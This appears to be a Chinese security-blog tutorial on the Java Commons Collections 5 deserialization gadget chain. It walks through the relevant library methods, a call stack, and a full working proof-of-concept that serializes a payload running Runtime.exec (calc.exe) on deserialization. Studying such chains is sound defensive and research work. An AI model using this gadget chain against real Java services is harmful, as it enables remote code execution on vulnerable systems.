Java反序列化之Commons Collections5链

环境

java版本:jdk8u66(版本无限制)
Commons Collections:3.2.1(漏洞版本在3.1-3.2.1)

同时需要关闭security manager ,But

1
This only works in JDK 8u76 and WITHOUT a security manager

前置知识

TiedMapEntry

存在于包org.apache.commons.collections.keyvalue

构造函数:

1
2
3
4
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}

通过构造函数可以传入Map对象,并且其getValue方法调用了map的get方法

1
2
3
public Object getValue() {
return this.map.get(this.key);
}

同时其equals、hashCode、toString等方法都调用了getValue方法

如toString方法:

1
2
3
public String toString() {
return this.getKey() + "=" + this.getValue();
}

官方文档:https://commons.apache.org/proper/commons-collections//javadocs/api-3.2.2/

BadAttributeValueExpException

存在于包javax.management中,是Exception类的子类

其实现了序列化,并重写了readObject方法

readObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 获取序列化字段
ObjectInputStream.GetField gf = ois.readFields();
// 获取序列化字段val的值
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
// 判断是否为String类型
} else if (valObj instanceof String) {
val= valObj;
// 判断当前系统安全管理器是否存在,或者当前的值是否为以下类型 如果是则转换成String
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

注意这里的readObject方法中val = valObj.toString();执行了toSring方法,这正好与TiedMapEntry相结合构成一条利用链,即val字段需要是TiedMapEntry对象

观察其构造函数:

1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

由于在构造函数中就会调用val.toString(),故会在构造POC时会触发本地的命令执行

另外在反序列化的时候不会触发命令执行,在执行readObject方法时val已经变成进程对象,解决办法就是通过反射将val的值赋值成为TiedMapEntry对象对象

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package ysoserial;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class commons_collections5 {
public static void main(String[] args) throws Exception{
// 构建一个transformer数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// 创建LazyMap对象
LazyMap lazyMap = LazyMap.decorate(innerMap,transformerChain);
// 创建TiedMapEntry对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 11);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(100);
// 通过反射设置badAttributeValueExpException的val值
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);

//序列化与反序列化操作
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(badAttributeValueExpException);

//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();
}
}

调试POC

序列化的入口是BadAttributeValueExpException的readObject函数,在里面下断点

在执行到val = valObj.toString();函数前各变量的值为:

其中在执行Object valObj = gf.get("val", null);后会命令执行一次,此时的val是一个进程对象

跟进toString函数

这里会调用getKey和getValue,跟进getValue

这里的map正是我们POC中构造的lazymap,跟进来到LazyMap类的get函数

这与CC1和3链中使用LazyMap的流程一致

接下来就是进入transform函数执行四次for循环后命令执行

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
transform:121, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1184, ObjectStreamClass (java.io)
readSerialData:2322, ObjectInputStream (java.io)
readOrdinaryObject:2213, ObjectInputStream (java.io)
readObject0:1669, ObjectInputStream (java.io)
readObject:503, ObjectInputStream (java.io)
readObject:461, ObjectInputStream (java.io)
main:51, commons_collections5 (ysoserial)

调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
BadAttributeValueExpException.readObject
->TiedMapEntry.toString
->LazyMap.get
->ChainedTransformer.transform
->ConstantTransformer.transform
->InvokerTransformer.transform
->Method.invoke
->Class.getMethod
->InvokerTransformer.transform
->Method.invoke
->Runtime.getRuntime
-> InvokerTransformer.transform
->Method.invoke->Runtime.exec

参考

Java安全之Commons Collections5分析 - nice_0e3 - 博客园 (cnblogs.com)

java安全-CC5链学习与分析 | Okaytc